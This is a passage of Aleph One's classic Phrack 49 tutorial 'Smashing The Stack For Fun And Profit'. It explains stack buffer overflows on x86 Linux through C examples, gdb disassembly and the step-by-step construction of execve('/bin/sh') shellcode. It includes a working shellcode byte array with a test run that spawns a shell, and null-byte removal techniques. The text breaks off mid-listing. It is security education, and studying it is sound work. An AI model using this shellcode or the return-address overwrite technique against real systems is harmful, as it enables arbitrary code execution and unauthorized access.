| .oO Phrack 49 Oo. |
|
|
| Volume Seven, Issue Forty-Nine |
| |
| File 14 of 16 |
|
|
| BugTraq, r00t, and Underground.Org |
| bring you |
|
|
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
| Smashing The Stack For Fun And Profit |
| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
|
|
| by Aleph One |
| aleph1@underground.org |
|
|
| `smash the stack` [C programming] n. On many C implementations |
| it is possible to corrupt the execution stack by writing past |
| the end of an array declared auto in a routine. Code that does |
| this is said to smash the stack, and can cause return from the |
| routine to jump to a random address. This can produce some of |
| the most insidious data-dependent bugs known to mankind. |
| Variants include trash the stack, scribble the stack, mangle |
| the stack; the term mung the stack is not used, as this is |
| never done intentionally. See spam; see also alias bug, |
| fandango on core, memory leak, precedence lossage, overrun screw. |
|
|
|
|
| Introduction |
| ~~~~~~~~~~~~ |
|
|
| Over the last few months there has been a large increase of buffer |
| overflow vulnerabilities being both discovered and exploited. Examples |
| of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt |
| library, at, etc. This paper attempts to explain what buffer overflows |
| are, and how their exploits work. |
|
|
| Basic knowledge of assembly is required. An understanding of virtual |
| memory concepts, and experience with gdb are very helpful but not necessary. |
| We also assume we are working with an Intel x86 CPU, and that the operating |
| system is Linux. |
|
|
| Some basic definitions before we begin: A buffer is simply a contiguous |
| block of computer memory that holds multiple instances of the same data |
| type. C programmers normally associate with the word buffer arrays. Most |
| commonly, character arrays. Arrays, like all variables in C, can be |
| declared either static or dynamic. Static variables are allocated at load |
| time on the data segment. Dynamic variables are allocated at run time on |
| the stack. To overflow is to flow, or fill over the top, brims, or bounds. |
| We will concern ourselves only with the overflow of dynamic buffers, otherwise |
| known as stack-based buffer overflows. |
|
|
|
|
| Process Memory Organization |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
|
|
| To understand what stack buffers are we must first understand how a |
| process is organized in memory. Processes are divided into three regions: |
| Text, Data, and Stack. We will concentrate on the stack region, but first |
| a small overview of the other regions is in order. |
|
|
| The text region is fixed by the program and includes code (instructions) |
| and read-only data. This region corresponds to the text section of the |
| executable file. This region is normally marked read-only and any attempt to |
| write to it will result in a segmentation violation. |
|
|
| The data region contains initialized and uninitialized data. Static |
| variables are stored in this region. The data region corresponds to the |
| data-bss sections of the executable file. Its size can be changed with the |
| brk(2) system call. If the expansion of the bss data or the user stack |
| exhausts available memory, the process is blocked and is rescheduled to |
| run again with a larger memory space. New memory is added between the data |
| and stack segments. |
|
|
| /------------------\ lower |
| | | memory |
| | Text | addresses |
| | | |
| |------------------| |
| | (Initialized) | |
| | Data | |
| | (Uninitialized) | |
| |------------------| |
| | | |
| | Stack | higher |
| | | memory |
| \------------------/ addresses |
|
|
| Fig. 1 Process Memory Regions |
|
|
|
|
| What Is A Stack? |
| ~~~~~~~~~~~~~~~~ |
|
|
| A stack is an abstract data type frequently used in computer science. A |
| stack of objects has the property that the last object placed on the stack |
| will be the first object removed. This property is commonly referred to as |
| last in, first out queue, or a LIFO. |
|
|
| Several operations are defined on stacks. Two of the most important are |
| PUSH and POP. PUSH adds an element at the top of the stack. POP, in |
| contrast, reduces the stack size by one by removing the last element at the |
| top of the stack. |
|
|
|
|
| Why Do We Use A Stack? |
| ~~~~~~~~~~~~~~~~~~~~~~ |
|
|
| Modern computers are designed with the need of high-level languages in |
| mind. The most important technique for structuring programs introduced by |
| high-level languages is the procedure or function. From one point of view, a |
| procedure call alters the flow of control just as a jump does, but unlike a |
| jump, when finished performing its task, a function returns control to the |
| statement or instruction following the call. This high-level abstraction |
| is implemented with the help of the stack. |
|
|
| The stack is also used to dynamically allocate the local variables used in |
| functions, to pass parameters to the functions, and to return values from the |
| function. |
|
|
|
|
| The Stack Region |
| ~~~~~~~~~~~~~~~~ |
|
|
| A stack is a contiguous block of memory containing data. A register called |
| the stack pointer (SP) points to the top of the stack. The bottom of the |
| stack is at a fixed address. Its size is dynamically adjusted by the kernel |
| at run time. The CPU implements instructions to PUSH onto and POP off of the |
| stack. |
|
|
| The stack consists of logical stack frames that are pushed when calling a |
| function and popped when returning. A stack frame contains the parameters to |
| a function, its local variables, and the data necessary to recover the |
| previous stack frame, including the value of the instruction pointer at the |
| time of the function call. |
|
|
| Depending on the implementation the stack will either grow down (towards |
| lower memory addresses), or up. In our examples we'll use a stack that grows |
| down. This is the way the stack grows on many computers including the Intel, |
| Motorola, SPARC and MIPS processors. The stack pointer (SP) is also |
| implementation dependent. It may point to the last address on the stack, or |
| to the next free available address after the stack. For our discussion we'll |
| assume it points to the last address on the stack. |
|
|
| In addition to the stack pointer, which points to the top of the stack |
| (lowest numerical address), it is often convenient to have a frame pointer |
| (FP) which points to a fixed location within a frame. Some texts also refer |
| to it as a local base pointer (LB). In principle, local variables could be |
| referenced by giving their offsets from SP. However, as words are pushed onto |
| the stack and popped from the stack, these offsets change. Although in some |
| cases the compiler can keep track of the number of words on the stack and |
| thus correct the offsets, in some cases it cannot, and in all cases |
| considerable administration is required. Futhermore, on some machines, such |
| as Intel-based processors, accessing a variable at a known distance from SP |
| requires multiple instructions. |
|
|
| Consequently, many compilers use a second register, FP, for referencing |
| both local variables and parameters because their distances from FP do |
| not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this |
| purpose. On the Motorola CPUs, any address register except A7 (the stack |
| pointer) will do. Because the way our stack grows, actual parameters have |
| positive offsets and local variables have negative offsets from FP. |
|
|
| The first thing a procedure must do when called is save the previous FP |
| (so it can be restored at procedure exit). Then it copies SP into FP to |
| create the new FP, and advances SP to reserve space for the local variables. |
| This code is called the procedure prolog. Upon procedure exit, the stack |
| must be cleaned up again, something called the procedure epilog. The Intel |
| ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, |
| have been provided to do most of the procedure prolog and epilog work |
| efficiently. |
|
|
| Let us see what the stack looks like in a simple example: |
|
|
| example1.c: |
| ------------------------------------------------------------------------------ |
| void function(int a, int b, int c) { |
| char buffer1[5]; |
| char buffer2[10]; |
| } |
|
|
| void main() { |
| function(1,2,3); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| To understand what the program does to call function() we compile it with |
| gcc using the -S switch to generate assembly code output: |
|
|
| $ gcc -S -o example1.s example1.c |
|
|
| By looking at the assembly language output we see that the call to |
| function() is translated to: |
|
|
| pushl $3 |
| pushl $2 |
| pushl $1 |
| call function |
|
|
| This pushes the 3 arguments to function backwards into the stack, and |
| calls function(). The instruction 'call' will push the instruction pointer |
| (IP) onto the stack. We'll call the saved IP the return address (RET). The |
| first thing done in function is the procedure prolog: |
|
|
| pushl %ebp |
| movl %esp,%ebp |
| subl $20,%esp |
|
|
| This pushes EBP, the frame pointer, onto the stack. It then copies the |
| current SP onto EBP, making it the new FP pointer. We'll call the saved FP |
| pointer SFP. It then allocates space for the local variables by subtracting |
| their size from SP. |
|
|
| We must remember that memory can only be addressed in multiples of the |
| word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer |
| is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer |
| is going to take 12 bytes (3 words) of memory. That is why SP is being |
| subtracted by 20. With that in mind our stack looks like this when |
| function() is called (each space represents a byte): |
|
|
|
|
| bottom of top of |
| memory memory |
| buffer2 buffer1 sfp ret a b c |
| <------ [ ][ ][ ][ ][ ][ ][ ] |
| |
| top of bottom of |
| stack stack |
|
|
|
|
| Buffer Overflows |
| ~~~~~~~~~~~~~~~~ |
|
|
| A buffer overflow is the result of stuffing more data into a buffer than |
| it can handle. How can this often found programming error can be taken |
| advantage to execute arbitrary code? Lets look at another example: |
|
|
| example2.c |
| ------------------------------------------------------------------------------ |
| void function(char *str) { |
| char buffer[16]; |
|
|
| strcpy(buffer,str); |
| } |
|
|
| void main() { |
| char large_string[256]; |
| int i; |
|
|
| for( i = 0; i < 255; i++) |
| large_string[i] = 'A'; |
|
|
| function(large_string); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| This is program has a function with a typical buffer overflow coding |
| error. The function copies a supplied string without bounds checking by |
| using strcpy() instead of strncpy(). If you run this program you will get a |
| segmentation violation. Lets see what its stack looks when we call function: |
|
|
|
|
| bottom of top of |
| memory memory |
| buffer sfp ret *str |
| <------ [ ][ ][ ][ ] |
|
|
| top of bottom of |
| stack stack |
|
|
|
|
| What is going on here? Why do we get a segmentation violation? Simple. |
| strcpy() is coping the contents of *str (larger_string[]) into buffer[] |
| until a null character is found on the string. As we can see buffer[] is |
| much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff |
| it with 256 bytes. This means that all 250 bytes after buffer in the stack |
| are being overwritten. This includes the SFP, RET, and even *str! We had |
| filled large_string with the character 'A'. It's hex character value |
| is 0x41. That means that the return address is now 0x41414141. This is |
| outside of the process address space. That is why when the function returns |
| and tries to read the next instruction from that address you get a |
| segmentation violation. |
|
|
| So a buffer overflow allows us to change the return address of a function. |
| In this way we can change the flow of execution of the program. Lets go back |
| to our first example and recall what the stack looked like: |
|
|
|
|
| bottom of top of |
| memory memory |
| buffer2 buffer1 sfp ret a b c |
| <------ [ ][ ][ ][ ][ ][ ][ ] |
|
|
| top of bottom of |
| stack stack |
|
|
|
|
| Lets try to modify our first example so that it overwrites the return |
| address, and demonstrate how we can make it execute arbitrary code. Just |
| before buffer1[] on the stack is SFP, and before it, the return address. |
| That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is |
| really 2 word so its 8 bytes long. So the return address is 12 bytes from |
| the start of buffer1[]. We'll modify the return value in such a way that the |
| assignment statement 'x = 1;' after the function call will be jumped. To do |
| so we add 8 bytes to the return address. Our code is now: |
|
|
| example3.c: |
| ------------------------------------------------------------------------------ |
| void function(int a, int b, int c) { |
| char buffer1[5]; |
| char buffer2[10]; |
| int *ret; |
|
|
| ret = buffer1 + 12; |
| (*ret) += 8; |
| } |
|
|
| void main() { |
| int x; |
|
|
| x = 0; |
| function(1,2,3); |
| x = 1; |
| printf("%d\n",x); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| What we have done is add 12 to buffer1[]'s address. This new address is |
| where the return address is stored. We want to skip pass the assignment to |
| the printf call. How did we know to add 8 to the return address? We used a |
| test value first (for example 1), compiled the program, and then started gdb: |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ gdb example3 |
| GDB is free software and you are welcome to distribute copies of it |
| under certain conditions; type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB; type "show warranty" for details. |
| GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... |
| (no debugging symbols found)... |
| (gdb) disassemble main |
| Dump of assembler code for function main: |
| 0x8000490 <main>: pushl %ebp |
| 0x8000491 <main+1>: movl %esp,%ebp |
| 0x8000493 <main+3>: subl $0x4,%esp |
| 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp) |
| 0x800049d <main+13>: pushl $0x3 |
| 0x800049f <main+15>: pushl $0x2 |
| 0x80004a1 <main+17>: pushl $0x1 |
| 0x80004a3 <main+19>: call 0x8000470 <function> |
| 0x80004a8 <main+24>: addl $0xc,%esp |
| 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp) |
| 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax |
| 0x80004b5 <main+37>: pushl %eax |
| 0x80004b6 <main+38>: pushl $0x80004f8 |
| 0x80004bb <main+43>: call 0x8000378 <printf> |
| 0x80004c0 <main+48>: addl $0x8,%esp |
| 0x80004c3 <main+51>: movl %ebp,%esp |
| 0x80004c5 <main+53>: popl %ebp |
| 0x80004c6 <main+54>: ret |
| 0x80004c7 <main+55>: nop |
| ------------------------------------------------------------------------------ |
|
|
| We can see that when calling function() the RET will be 0x8004a8, and we |
| want to jump past the assignment at 0x80004ab. The next instruction we want |
| to execute is the at 0x8004b2. A little math tells us the distance is 8 |
| bytes. |
|
|
|
|
| Shell Code |
| ~~~~~~~~~~ |
|
|
| So now that we know that we can modify the return address and the flow of |
| execution, what program do we want to execute? In most cases we'll simply |
| want the program to spawn a shell. From the shell we can then issue other |
| commands as we wish. But what if there is no such code in the program we |
| are trying to exploit? How can we place arbitrary instruction into its |
| address space? The answer is to place the code with are trying to execute in |
| the buffer we are overflowing, and overwrite the return address so it points |
| back into the buffer. Assuming the stack starts at address 0xFF, and that S |
| stands for the code we want to execute the stack would then look like this: |
|
|
|
|
| bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of |
| memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory |
| buffer sfp ret a b c |
|
|
| <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] |
| ^ | |
| |____________________________| |
| top of bottom of |
| stack stack |
|
|
|
|
| The code to spawn a shell in C looks like: |
|
|
| shellcode.c |
| ----------------------------------------------------------------------------- |
| #include <stdio.h> |
|
|
| void main() { |
| char *name[2]; |
|
|
| name[0] = "/bin/sh"; |
| name[1] = NULL; |
| execve(name[0], name, NULL); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| To find out what does it looks like in assembly we compile it, and start |
| up gdb. Remember to use the -static flag. Otherwise the actual code the |
| for the execve system call will not be included. Instead there will be a |
| reference to dynamic C library that would normally would be linked in at |
| load time. |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c |
| [aleph1]$ gdb shellcode |
| GDB is free software and you are welcome to distribute copies of it |
| under certain conditions; type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB; type "show warranty" for details. |
| GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... |
| (gdb) disassemble main |
| Dump of assembler code for function main: |
| 0x8000130 <main>: pushl %ebp |
| 0x8000131 <main+1>: movl %esp,%ebp |
| 0x8000133 <main+3>: subl $0x8,%esp |
| 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) |
| 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) |
| 0x8000144 <main+20>: pushl $0x0 |
| 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax |
| 0x8000149 <main+25>: pushl %eax |
| 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax |
| 0x800014d <main+29>: pushl %eax |
| 0x800014e <main+30>: call 0x80002bc <__execve> |
| 0x8000153 <main+35>: addl $0xc,%esp |
| 0x8000156 <main+38>: movl %ebp,%esp |
| 0x8000158 <main+40>: popl %ebp |
| 0x8000159 <main+41>: ret |
| End of assembler dump. |
| (gdb) disassemble __execve |
| Dump of assembler code for function __execve: |
| 0x80002bc <__execve>: pushl %ebp |
| 0x80002bd <__execve+1>: movl %esp,%ebp |
| 0x80002bf <__execve+3>: pushl %ebx |
| 0x80002c0 <__execve+4>: movl $0xb,%eax |
| 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx |
| 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx |
| 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx |
| 0x80002ce <__execve+18>: int $0x80 |
| 0x80002d0 <__execve+20>: movl %eax,%edx |
| 0x80002d2 <__execve+22>: testl %edx,%edx |
| 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> |
| 0x80002d6 <__execve+26>: negl %edx |
| 0x80002d8 <__execve+28>: pushl %edx |
| 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> |
| 0x80002de <__execve+34>: popl %edx |
| 0x80002df <__execve+35>: movl %edx,(%eax) |
| 0x80002e1 <__execve+37>: movl $0xffffffff,%eax |
| 0x80002e6 <__execve+42>: popl %ebx |
| 0x80002e7 <__execve+43>: movl %ebp,%esp |
| 0x80002e9 <__execve+45>: popl %ebp |
| 0x80002ea <__execve+46>: ret |
| 0x80002eb <__execve+47>: nop |
| End of assembler dump. |
| ------------------------------------------------------------------------------ |
|
|
| Lets try to understand what is going on here. We'll start by studying main: |
|
|
| ------------------------------------------------------------------------------ |
| 0x8000130 <main>: pushl %ebp |
| 0x8000131 <main+1>: movl %esp,%ebp |
| 0x8000133 <main+3>: subl $0x8,%esp |
|
|
| This is the procedure prelude. It first saves the old frame pointer, |
| makes the current stack pointer the new frame pointer, and leaves |
| space for the local variables. In this case its: |
|
|
| char *name[2]; |
|
|
| or 2 pointers to a char. Pointers are a word long, so it leaves |
| space for two words (8 bytes). |
|
|
| 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) |
|
|
| We copy the value 0x80027b8 (the address of the string "/bin/sh") |
| into the first pointer of name[]. This is equivalent to: |
|
|
| name[0] = "/bin/sh"; |
|
|
| 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) |
|
|
| We copy the value 0x0 (NULL) into the seconds pointer of name[]. |
| This is equivalent to: |
|
|
| name[1] = NULL; |
|
|
| The actual call to execve() starts here. |
|
|
| 0x8000144 <main+20>: pushl $0x0 |
|
|
| We push the arguments to execve() in reverse order onto the stack. |
| We start with NULL. |
|
|
| 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax |
|
|
| We load the address of name[] into the EAX register. |
|
|
| 0x8000149 <main+25>: pushl %eax |
|
|
| We push the address of name[] onto the stack. |
|
|
| 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax |
|
|
| We load the address of the string "/bin/sh" into the EAX register. |
|
|
| 0x800014d <main+29>: pushl %eax |
|
|
| We push the address of the string "/bin/sh" onto the stack. |
|
|
| 0x800014e <main+30>: call 0x80002bc <__execve> |
|
|
| Call the library procedure execve(). The call instruction pushes the |
| IP onto the stack. |
| ------------------------------------------------------------------------------ |
|
|
| Now execve(). Keep in mind we are using a Intel based Linux system. The |
| syscall details will change from OS to OS, and from CPU to CPU. Some will |
| pass the arguments on the stack, others on the registers. Some use a software |
| interrupt to jump to kernel mode, others use a far call. Linux passes its |
| arguments to the system call on the registers, and uses a software interrupt |
| to jump into kernel mode. |
|
|
| ------------------------------------------------------------------------------ |
| 0x80002bc <__execve>: pushl %ebp |
| 0x80002bd <__execve+1>: movl %esp,%ebp |
| 0x80002bf <__execve+3>: pushl %ebx |
|
|
| The procedure prelude. |
|
|
| 0x80002c0 <__execve+4>: movl $0xb,%eax |
|
|
| Copy 0xb (11 decimal) onto the stack. This is the index into the |
| syscall table. 11 is execve. |
|
|
| 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx |
|
|
| Copy the address of "/bin/sh" into EBX. |
|
|
| 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx |
|
|
| Copy the address of name[] into ECX. |
|
|
| 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx |
|
|
| Copy the address of the null pointer into %edx. |
|
|
| 0x80002ce <__execve+18>: int $0x80 |
|
|
| Change into kernel mode. |
| ------------------------------------------------------------------------------ |
|
|
| So as we can see there is not much to the execve() system call. All we need |
| to do is: |
|
|
| a) Have the null terminated string "/bin/sh" somewhere in memory. |
| b) Have the address of the string "/bin/sh" somewhere in memory |
| followed by a null long word. |
| c) Copy 0xb into the EAX register. |
| d) Copy the address of the address of the string "/bin/sh" into the |
| EBX register. |
| e) Copy the address of the string "/bin/sh" into the ECX register. |
| f) Copy the address of the null long word into the EDX register. |
| g) Execute the int $0x80 instruction. |
|
|
| But what if the execve() call fails for some reason? The program will |
| continue fetching instructions from the stack, which may contain random data! |
| The program will most likely core dump. We want the program to exit cleanly |
| if the execve syscall fails. To accomplish this we must then add a exit |
| syscall after the execve syscall. What does the exit syscall looks like? |
|
|
| exit.c |
| ------------------------------------------------------------------------------ |
| #include <stdlib.h> |
|
|
| void main() { |
| exit(0); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ gcc -o exit -static exit.c |
| [aleph1]$ gdb exit |
| GDB is free software and you are welcome to distribute copies of it |
| under certain conditions; type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB; type "show warranty" for details. |
| GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... |
| (no debugging symbols found)... |
| (gdb) disassemble _exit |
| Dump of assembler code for function _exit: |
| 0x800034c <_exit>: pushl %ebp |
| 0x800034d <_exit+1>: movl %esp,%ebp |
| 0x800034f <_exit+3>: pushl %ebx |
| 0x8000350 <_exit+4>: movl $0x1,%eax |
| 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx |
| 0x8000358 <_exit+12>: int $0x80 |
| 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx |
| 0x800035d <_exit+17>: movl %ebp,%esp |
| 0x800035f <_exit+19>: popl %ebp |
| 0x8000360 <_exit+20>: ret |
| 0x8000361 <_exit+21>: nop |
| 0x8000362 <_exit+22>: nop |
| 0x8000363 <_exit+23>: nop |
| End of assembler dump. |
| ------------------------------------------------------------------------------ |
|
|
| The exit syscall will place 0x1 in EAX, place the exit code in EBX, |
| and execute "int 0x80". That's it. Most applications return 0 on exit to |
| indicate no errors. We will place 0 in EBX. Our list of steps is now: |
|
|
| a) Have the null terminated string "/bin/sh" somewhere in memory. |
| b) Have the address of the string "/bin/sh" somewhere in memory |
| followed by a null long word. |
| c) Copy 0xb into the EAX register. |
| d) Copy the address of the address of the string "/bin/sh" into the |
| EBX register. |
| e) Copy the address of the string "/bin/sh" into the ECX register. |
| f) Copy the address of the null long word into the EDX register. |
| g) Execute the int $0x80 instruction. |
| h) Copy 0x1 into the EAX register. |
| i) Copy 0x0 into the EBX register. |
| j) Execute the int $0x80 instruction. |
|
|
| Trying to put this together in assembly language, placing the string |
| after the code, and remembering we will place the address of the string, |
| and null word after the array, we have: |
|
|
| ------------------------------------------------------------------------------ |
| movl string_addr,string_addr_addr |
| movb $0x0,null_byte_addr |
| movl $0x0,null_addr |
| movl $0xb,%eax |
| movl string_addr,%ebx |
| leal string_addr,%ecx |
| leal null_string,%edx |
| int $0x80 |
| movl $0x1, %eax |
| movl $0x0, %ebx |
| int $0x80 |
| /bin/sh string goes here. |
| ------------------------------------------------------------------------------ |
|
|
| The problem is that we don't know where in the memory space of the |
| program we are trying to exploit the code (and the string that follows |
| it) will be placed. One way around it is to use a JMP, and a CALL |
| instruction. The JMP and CALL instructions can use IP relative addressing, |
| which means we can jump to an offset from the current IP without needing |
| to know the exact address of where in memory we want to jump to. If we |
| place a CALL instruction right before the "/bin/sh" string, and a JMP |
| instruction to it, the strings address will be pushed onto the stack as |
| the return address when CALL is executed. All we need then is to copy the |
| return address into a register. The CALL instruction can simply call the |
| start of our code above. Assuming now that J stands for the JMP instruction, |
| C for the CALL instruction, and s for the string, the execution flow would |
| now be: |
|
|
|
|
| bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of |
| memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory |
| buffer sfp ret a b c |
|
|
| <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] |
| ^|^ ^| | |
| |||_____________||____________| (1) |
| (2) ||_____________|| |
| |______________| (3) |
| top of bottom of |
| stack stack |
|
|
|
|
|
|
| With this modifications, using indexed addressing, and writing down how |
| many bytes each instruction takes our code looks like: |
|
|
| ------------------------------------------------------------------------------ |
| jmp offset-to-call # 2 bytes |
| popl %esi # 1 byte |
| movl %esi,array-offset(%esi) # 3 bytes |
| movb $0x0,nullbyteoffset(%esi)# 4 bytes |
| movl $0x0,null-offset(%esi) # 7 bytes |
| movl $0xb,%eax # 5 bytes |
| movl %esi,%ebx # 2 bytes |
| leal array-offset,(%esi),%ecx # 3 bytes |
| leal null-offset(%esi),%edx # 3 bytes |
| int $0x80 # 2 bytes |
| movl $0x1, %eax # 5 bytes |
| movl $0x0, %ebx # 5 bytes |
| int $0x80 # 2 bytes |
| call offset-to-popl # 5 bytes |
| /bin/sh string goes here. |
| ------------------------------------------------------------------------------ |
|
|
| Calculating the offsets from jmp to call, from call to popl, from |
| the string address to the array, and from the string address to the null |
| long word, we now have: |
|
|
| ------------------------------------------------------------------------------ |
| jmp 0x26 # 2 bytes |
| popl %esi # 1 byte |
| movl %esi,0x8(%esi) # 3 bytes |
| movb $0x0,0x7(%esi) # 4 bytes |
| movl $0x0,0xc(%esi) # 7 bytes |
| movl $0xb,%eax # 5 bytes |
| movl %esi,%ebx # 2 bytes |
| leal 0x8(%esi),%ecx # 3 bytes |
| leal 0xc(%esi),%edx # 3 bytes |
| int $0x80 # 2 bytes |
| movl $0x1, %eax # 5 bytes |
| movl $0x0, %ebx # 5 bytes |
| int $0x80 # 2 bytes |
| call -0x2b # 5 bytes |
| .string \"/bin/sh\" # 8 bytes |
| ------------------------------------------------------------------------------ |
|
|
| Looks good. To make sure it works correctly we must compile it and run it. |
| But there is a problem. Our code modifies itself, but most operating system |
| mark code pages read-only. To get around this restriction we must place the |
| code we wish to execute in the stack or data segment, and transfer control |
| to it. To do so we will place our code in a global array in the data |
| segment. We need first a hex representation of the binary code. Lets |
| compile it first, and then use gdb to obtain it. |
|
|
| shellcodeasm.c |
| ------------------------------------------------------------------------------ |
| void main() { |
| __asm__(" |
| jmp 0x2a # 3 bytes |
| popl %esi # 1 byte |
| movl %esi,0x8(%esi) # 3 bytes |
| movb $0x0,0x7(%esi) # 4 bytes |
| movl $0x0,0xc(%esi) # 7 bytes |
| movl $0xb,%eax # 5 bytes |
| movl %esi,%ebx # 2 bytes |
| leal 0x8(%esi),%ecx # 3 bytes |
| leal 0xc(%esi),%edx # 3 bytes |
| int $0x80 # 2 bytes |
| movl $0x1, %eax # 5 bytes |
| movl $0x0, %ebx # 5 bytes |
| int $0x80 # 2 bytes |
| call -0x2f # 5 bytes |
| .string \"/bin/sh\" # 8 bytes |
| "); |
| } |
| ------------------------------------------------------------------------------ |
|
|
| ------------------------------------------------------------------------------ |
| [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c |
| [aleph1]$ gdb shellcodeasm |
| GDB is free software and you are welcome to distribute copies of it |
| under certain conditions; type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB; type "show warranty" for details. |
| GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... |
| (gdb) disassemble main |
| Dump of assembler code for function main: |
| 0x8000130 <main>: pushl %ebp |
| 0x8000131 <main+1>: movl %esp,%ebp |
| 0x8000133 <main+3>: jmp 0x800015f <main+47> |
| 0x8000135 <main+5>: popl %esi |
| 0x8000136 <main+6>: movl %esi,0x8(%esi) |
| 0x8000139 <main+9>: movb $0x0,0x7(%esi) |
| 0x800013d <main+13>: movl $0x0,0xc(%esi) |
| 0x8000144 <main+20>: movl $0xb,%eax |
| 0x8000149 <main+25>: movl %esi,%ebx |
| 0x800014b <main+27>: leal 0x8(%esi),%ecx |
| 0x800014e <main+30>: leal 0xc(%esi),%edx |
| 0x8000151 <main+33>: int $0x80 |
| 0x8000153 <main+35>: movl $0x1,%eax |
| 0x8000158 <main+40>: movl $0x0,%ebx |
| 0x800015d <main+45>: int $0x80 |
| 0x800015f <main+47>: call 0x8000135 <main+5> |
| 0x8000164 <main+52>: das |
| 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp |
| 0x8000168 <main+56>: das |
| 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55> |
| 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx) |
| End of assembler dump. |
| (gdb) x/bx main+3 |
| 0x8000133 <main+3>: 0xeb |
| (gdb) |
| 0x8000134 <main+4>: 0x2a |
| (gdb) |
| . |
| . |
| . |
| ------------------------------------------------------------------------------ |
|
|
| testsc.c |
| ------------------------------------------------------------------------------ |
| char shellcode[] = |
| "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" |
| "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" |
| "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" |
| "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; |
|
|
| void main() { |
| int *ret; |
|
|
| ret = (int *)&ret + 2; |
| (*ret) = (int)shellcode; |
|
|
| } |
| ------------------------------------------------------------------------------ |
| ------------------------------------------------------------------------------ |
| [aleph1]$ gcc -o testsc testsc.c |
| [aleph1]$ ./testsc |
| $ exit |
| [aleph1]$ |
| ------------------------------------------------------------------------------ |
|
|
| It works! But there is an obstacle. In most cases we'll be trying to |
| overflow a character buffer. As such any null bytes in our shellcode will be |
| considered the end of the string, and the copy will be terminated. There must |
| be no null bytes in the shellcode for the exploit to work. Let's try to |
| eliminate the bytes (and at the same time make it smaller). |
|
|
| Problem instruction: Substitute with: |
| -------------------------------------------------------- |
| movb $0x0,0x7(%esi) xorl %eax,%eax |
| molv $0x0,0xc(%esi) movb %eax,0x7(%esi) |
| movl %eax,0xc(%esi) |
| -------------------------------------------------------- |
| movl $0xb,%eax movb $0xb,%al |
| -------------------------------------------------------- |
| movl $0x1, %eax xorl %ebx,%ebx |
| movl $0x0, %ebx movl %ebx,%eax |
| inc %eax |
| -------------------------------------------------------- |
|
|
| Our improved code: |
|
|
| shellcodeasm2.c |
| ------------------------------------------------------------------------------ |
| void main() { |
| __asm__(" |
| jmp 0x1f # 2 bytes |
| popl %esi # 1 byte |
| movl %esi,0x8(%esi) # 3 bytes |
| xorl %eax,%eax # 2 bytes |
| movb %eax,0x7(%esi) # 3 bytes |
| movl %eax,0xc(%esi) # 3 bytes |
| movb $0xb,%al # 2 bytes |
| movl %esi,%ebx # 2 bytes |
| leal 0x8(%esi),%ecx # 3 bytes |
| leal 0xc(%esi),%edx # 3 bytes |
| int $0x80 # 2 bytes |
| xorl %ebx,%ebx # 2 bytes |
